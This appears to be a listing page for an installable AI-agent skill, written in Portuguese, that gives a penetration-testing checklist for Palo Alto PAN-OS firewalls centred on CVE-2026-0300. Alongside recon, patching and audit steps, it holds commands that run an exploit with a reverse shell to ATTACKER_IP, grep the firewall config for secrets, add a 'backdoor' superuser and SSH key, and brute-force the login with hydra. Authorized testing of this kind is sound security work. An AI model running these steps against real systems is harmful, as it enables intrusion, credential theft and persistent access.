# Pentest Paloalto

> Pentest especializado para Palo Alto Networks PAN-OS — cobre CVE-2026-0300 (buffer overflow RCE), User-ID Auth Portal, e superfície de ataque completa

- Skill: `bob-reis/pentest-paloalto` (Agent Skill)
- Install (CLI): `npx skillmds@latest add bob-reis/pentest-paloalto`
- Raw SKILL.md: https://api.skillmd.com/api/skills/bob-reis/pentest-paloalto/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: bob-reis (https://skillmd.com/u/bob-reis)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/bob-reis/pentest-paloalto

---


# Pentest Palo Alto Networks PAN-OS — Checklist Completo

## Objetivo
Avaliar a segurança de firewalls Palo Alto Networks PAN-OS, com foco na vulnerabilidade crítica **CVE-2026-0300** (buffer overflow com RCE root sem autenticação) e outras superfícies de ataque conhecidas.

---

## 🔗 Cross-Reference: Outras Skills

### pfSense
Se durante o pentest você identificar **pfSense** no mesmo alvo ou em firewalls adjacentes:
```bash
# Detectar pfSense
httpx -u https://TARGET -title -tech-detect | grep -i pfsense

# Usar skill especializada
# Ver: /root/.pcode/skills/pentest-pfsense/SKILL.md
```

### cPanel & WHM (CVE-2026-41940)
```bash
# Detectar cPanel
httpx -u https://TARGET:2087 -title -tech-detect

# Testar CVE-2026-41940 (Authentication Bypass CVSS 9.8)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET:2087 -u admin -p password detect
```

---

## CVE-2026-0300 — Buffer Overflow no User-ID Auth Portal (CRÍTICO)

### Informações da Vulnerabilidade

| Campo | Valor |
|-------|-------|
| **CVE** | CVE-2026-0300 |
| **CVSS 4.0** | 9.3 (Critical) |
| **CWE** | CWE-787 (Out-of-bounds Write) |
| **Tipo** | Buffer Overflow / Memory Corruption |
| **Autenticação** | NÃO requer autenticação |
| **Impacto** | RCE como root no firewall |
| **Status** | Exploração ativa na internet |
| **Patch disponível** | Entre 13-28 de maio de 2026 |

### Versões Afetadas

```
PAN-OS 10.2: < 10.2.7-h34, < 10.2.10-h36, < 10.2.13-h21, < 10.2.16-h7, < 10.2.18-h6
PAN-OS 11.1: < 11.1.4-h33, < 11.1.6-h32, < 11.1.7-h6, < 11.1.10-h25, < 11.1.13-h5, < 11.1.15
PAN-OS 11.2: < 11.2.4-h17, < 11.2.7-h13, < 11.2.10-h6, < 11.2.12
PAN-OS 12.1: < 12.1.4-h5, < 12.1.7
```

### Pré-requisitos para Exploração

- User-ID Authentication Portal (Captive Portal) **habilitado**
- Portal **acessível a partir de redes não confiáveis** (Internet-facing)

### Mecanismo do Ataque

```
1. Atacante envia pacote especialmente construído para o User-ID Auth Portal
2. Buffer overflow do tipo "out-of-bounds write" (CWE-787)
3. Corrupção de memória permite execução de código arbitrário
4. Shell root obtido no firewall
```

### Impacto do Comprometimento

Um firewall de perímetro comprometido com acesso root permite:
- **Movimentação lateral** para rede interna
- **Interceptação de tráfego** (MITM em escala)
- **Coleta de credenciais** de todos os usuários
- **Comprometimento completo** da rede
- **Persistence** via configurações do firewall

---

## Fase 1 — Detecção e Reconhecimento

### 1.1 Identificar Painel PAN-OS

```bash
# Nuclei — Detectar painel de gerenciamento
nuclei -u https://TARGET -t /root/nuclei-templates/panos-management-panel.yaml -silent

# Nuclei — Template alternativo (se disponível)
nuclei -u https://TARGET -tags panos,paloalto -silent

# Detecção manual via HTTP
curl -sk "https://TARGET/php/login.php" | grep -iE "PAN_FORM_CONTENT|Login|Palo Alto"

# Shodan — Busca passiva
shodan search "http.title:\"Palo Alto Networks\""
shodan search "http.favicon.hash:873381299"
shodan host <TARGET_IP>

# Censys — Certificados e serviços
censys search "services.http.response.html_title:Palo Alto"
censys search "ip:<TARGET_IP>"
```

### 1.2 Verificar User-ID Auth Portal

```bash
# Verificar se Captive Portal está habilitado
# Via GUI: Device > User Identification > Authentication Portal Settings

# Detecção via HTTP (paths comuns do Captive Portal)
for path in "/php/portal.php" "/portal" "/global-protect" "/php/login.php"; do
  echo -n "$path: "
  curl -sk -o /dev/null -w "%{http_code}" "https://TARGET${path}"
  echo
done

# Nuclei — Procurar portals expostos
nuclei -u https://TARGET -tags captive-portal,authentication -silent
```

### 1.3 Fingerprinting de Versão

```bash
# Extrair versão do HTML do login page
curl -sk "https://TARGET/php/login.php" | grep -iE "PAN-OS|version|[0-9]+\.[0-9]+\.[0-9]+"

# Via API (se disponível)
curl -sk "https://TARGET/api/?type=version" | grep -i version

# Via SNMP (se habilitado)
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.1.1.0 | grep -i palo

# Nmap — Detecção de serviço
nmap -sV -p 443,80,8080 --script http-title,http-headers TARGET
```

### 1.4 Portas e Serviços PAN-OS

| Porta | Protocolo | Serviço | Risco |
|-------|-----------|---------|-------|
| 443 | TCP | Web Management | Alto |
| 80 | TCP | Web Management (redirect) | Médio |
| 8080 | TCP | Alternative HTTP | Médio |
| 22 | TCP | SSH (se habilitado) | Alto |
| 161 | UDP | SNMP (se habilitado) | Alto |
| 500 | UDP | IKE/IPSec | Médio |
| 4500 | UDP | IPSec NAT-T | Médio |
| 9001 | TCP | PanOS API | Alto |

---

## Fase 2 — Teste de Vulnerabilidade CVE-2026-0300

### 2.1 Detecção da Vulnerabilidade

```bash
# PoC de detecção (quando disponível)
# Local esperado: /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py

python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
  -t https://TARGET detect

# Verificar versão vulnerável
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
  -t https://TARGET check-version
```

### 2.2 Exploração (APENAS em testes autorizados)

```bash
# Obter shell root no firewall
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
  -t https://TARGET exploit

# Com reverse shell customizado
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
  -t https://TARGET exploit \
  --host ATTACKER_IP --port 4444

# Listener em outro terminal
nc -lvnp 4444
```

### 2.3 Exploração Manual (Se PoC não disponível)

```bash
# O exploit requer envio de pacote especialmente construído
# para o User-ID Auth Portal na porta 443 (HTTPS)

# Estrutura do ataque (pseudocódigo):
# 1. Conectar ao portal em /php/portal.php ou similar
# 2. Enviar payload buffer overflow no parâmetro vulnerável
# 3. Payload contém shellcode para execução como root

# Ferramentas recomendadas:
# - Metasploit (quando módulo disponível)
# - PoC Python específica
# - Custom exploit development
```

---

## Fase 3 — Pós-Exploração

### 3.1 Coleta de Informações

```bash
# Após obter acesso root:

# Extrair configuração completa
cat /config/panos-config.xml

# Extrair credenciais e segredos
grep -r "password\|secret\|key\|credential" /config/

# Listar interfaces de rede
show interface all

# Listar regras de firewall
show rules all

# Extrair logs de autenticação
cat /var/log/auth.log | tail -100
```

### 3.2 Movimentação Lateral

```bash
# O firewall tem acesso a todas as zonas de rede
# Usar como pivot para rede interna

# Verificar rotas
show routing route

# Verificar túneis VPN ativos
show vpn tunnel

# Verificar sessões ativas
show session all
```

### 3.3 Persistência

```bash
# Criar usuário administrativo backdoor
# (Via CLI do PAN-OS)
configure
set mgt-config users backdoor password
set mgt-config users backdoor permissions role-based superuser yes
commit

# Ou injetar chave SSH
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
```

---

## Fase 4 — Outras Vulnerabilidades PAN-OS

### 4.1 CVE-2024-0015 — Authentication Bypass

```bash
# Verificar painel exposto
nuclei -u https://TARGET -t cves/2024/CVE-2024-0015.yaml -silent

# Teste manual
curl -sk "https://TARGET/php/login.php" | grep -i "PAN-OS"
```

### 4.2 GlobalProtect Vulnerabilities

```bash
# Detectar GlobalProtect
curl -sk "https://TARGET/global-protect/" | grep -i "globalprotect"

# Nuclei — GlobalProtect templates
nuclei -u https://TARGET -tags globalprotect -silent
```

### 4.3 PAN-OS Default Credentials

```bash
# Testar credenciais padrão (raro, mas possível)
# admin/admin, admin/password, admin/<serial>

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  https-post-form://TARGET/php/login.php:username=^USER^&password=^PASS^:F=incorrect -t 1
```

### 4.4 API Vulnerabilities

```bash
# Testar API PAN-OS
curl -sk "https://TARGET/api/?type=version"

# API key extraction (pós-auth)
# type=keygen&user=admin&password=<password>
```

---

## Fase 5 — Mitigações e Remediação

### 5.1 Mitigações Imediatas (Antes do Patch)

```bash
# 1. Restringir acesso ao User-ID Auth Portal
# Device > User Identification > Authentication Portal Settings
# Adicionar ACL permitindo apenas IPs internos confiáveis

# 2. Desabilitar Captive Portal se não necessário
# Device > User Identification > Authentication Portal
# Uncheck "Enable Authentication Portal"

# 3. Isolar firewall de redes não confiáveis
# Remover acesso direto da Internet ao portal
```

### 5.2 Aplicação de Patch

```bash
# Verificar versão atual
show system info

# Aplicar patch quando disponível (13-28 maio 2026)
# System > Software > Check Now
# Instalar versão patched

# Versões patched:
# PAN-OS 10.2.7-h34+, 10.2.10-h36+, 10.2.13-h21+, 10.2.16-h7+, 10.2.18-h6+
# PAN-OS 11.1.4-h33+, 11.1.6-h32+, 11.1.7-h6+, 11.1.10-h25+, 11.1.13-h5+, 11.1.15+
# PAN-OS 11.2.4-h17+, 11.2.7-h13+, 11.2.10-h6+, 11.2.12+
# PAN-OS 12.1.4-h5+, 12.1.7+
```

### 5.3 Verificação de Patch

```bash
# Após patch, verificar versão
show system info | match Version

# Testar vulnerabilidade novamente
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
  -t https://TARGET detect
# Deve retornar: NOT_VULNERABLE ou PATCHED
```

---

## Fase 6 — Auditoria de Segurança

### 6.1 Checklist de Auditoria

- [ ] Verificar se User-ID Auth Portal está habilitado
- [ ] Verificar se portal está acessível da Internet
- [ ] Auditar Device > User Identification > Authentication Portal Settings
- [ ] Verificar versão PAN-OS contra lista de versões afetadas
- [ ] Aplicar patch quando disponível
- [ ] Restringir acesso ao portal apenas a IPs internos
- [ ] Habilitar logging de autenticação
- [ ] Revisar regras de firewall para tráfego inbound
- [ ] Verificar se SNMP está habilitado (desabilitar se não necessário)
- [ ] Verificar se SSH está habilitado (restringir por IP)

### 6.2 Comandos de Auditoria (Via SSH/CLI)

```bash
# Verificar status do Authentication Portal
show user-id captive-portal status

# Verificar configurações do portal
show user-id captive-portal config

# Verificar logs de autenticação
show logging system | match "captive-portal\|auth-portal"

# Verificar regras de acesso ao management
show deviceconfig system allowed-ip

# Verificar serviços de management habilitados
show deviceconfig system service
```

---

## Ferramentas e Recursos

### Nuclei Templates Instalados

```bash
# Template PAN-OS Management Panel
/root/nuclei-templates/panos-management-panel.yaml

# Uso:
nuclei -u https://TARGET -t /root/nuclei-templates/panos-management-panel.yaml
```

### PoCs Disponíveis

```bash
# CVE-2026-0300 (quando disponível)
/root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py
```

### Shodan Queries

```
http.title:"Palo Alto Networks"
http.favicon.hash:873381299
product:"PAN-OS"
```

### Referências

- https://security.paloaltonetworks.com/PAN-SA-2024-0015
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-0300
- https://nvd.nist.gov/vuln/detail/CVE-2026-0300
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog

---

## Notas de Exploração

### Considerações Legais

> **ATENÇÃO:** Esta skill é destinada APENAS para:
> - Testes de penetração autorizados
> - Auditorias de segurança contratadas
> - Pesquisa de segurança em ambiente controlado
> - Bug bounty programs (dentro do scope)

### Riscos de Exploração

> CVE-2026-0300 é uma vulnerabilidade de **memory corruption**. A exploração pode:
> - Causar crash do firewall (DoS)
> - Corromper configurações
> - Triggerar logs de segurança
> - Ser detectada por sistemas de prevenção

### Ambiente de Teste

> Sempre teste em ambiente laboratorial antes de produção:
> - VM PAN-OS isolada
> - Rede de teste sem produção
> - Backup de configuração antes de testes
> - Documentação completa de todas as ações

---

## Resumo Executivo

**CVE-2026-0300** representa um risco **CRÍTICO** para organizações com firewalls Palo Alto Networks PAN-OS:

- **CVSS 9.3** — Score máximo para vulnerabilidades remotas
- **Sem autenticação** — Atacante externo pode explorar
- **RCE como root** — Controle total do firewall
- **Exploração ativa** — Já sendo usado em ataques reais
- **Patch entre 13-28 maio 2026** — Janela de vulnerabilidade estendida

**Ações Imediatas Recomendadas:**

1. Identificar todos os firewalls PAN-OS na organização
2. Verificar se User-ID Auth Portal está exposto à Internet
3. Restringir acesso ou desabilitar portal imediatamente
4. Aplicar patch quando disponível
5. Monitorar logs por tentativas de exploração
6. Considerar firewall comprometido se exposto antes da mitigação

